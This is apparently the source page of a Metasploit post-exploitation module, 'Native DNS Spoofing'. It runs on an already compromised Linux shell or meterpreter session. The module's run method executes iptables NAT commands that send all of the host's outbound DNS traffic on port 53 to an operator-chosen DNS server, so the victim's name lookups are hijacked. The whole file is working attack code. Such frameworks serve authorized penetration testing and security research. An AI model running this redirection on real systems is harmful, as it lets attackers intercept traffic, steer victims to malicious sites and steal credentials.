Path: blob/master/modules/post/linux/manage/dns_spoofing.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::System89def initialize10super(11'Name' => 'Native DNS Spoofing module',12'Description' => %q{13This module will be applied on a session connected to a shell. It will redirect DNS Request to remote DNS server.14},15'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',16'License' => MSF_LICENSE,17'Platform' => ['linux'],18'SessionTypes' => ['shell', 'meterpreter']19)20register_options(21[22OptString.new('ORIGIN_PORT', [true, 'Origin port', '53']),23OptString.new('DESTINY_PORT', [true, 'Destination port', '53']),24OptAddress.new('DESTINY_IP', [true, 'Needed', '8.8.8.8'])25]26)27end2829def run30print_good('Spoofing DNS server...')31cmd_exec("iptables -t nat -A OUTPUT -p udp --dport #{datastore['ORIGIN_PORT']} -j DNAT --to #{datastore['DESTINY_IP']}:#{datastore['DESTINY_PORT']}")32cmd_exec("iptables -t nat -A OUTPUT -p tcp --dport #{datastore['ORIGIN_PORT']} -j DNAT --to #{datastore['DESTINY_IP']}:#{datastore['DESTINY_PORT']}")33print_good('Successfully exploited.')34end35end363738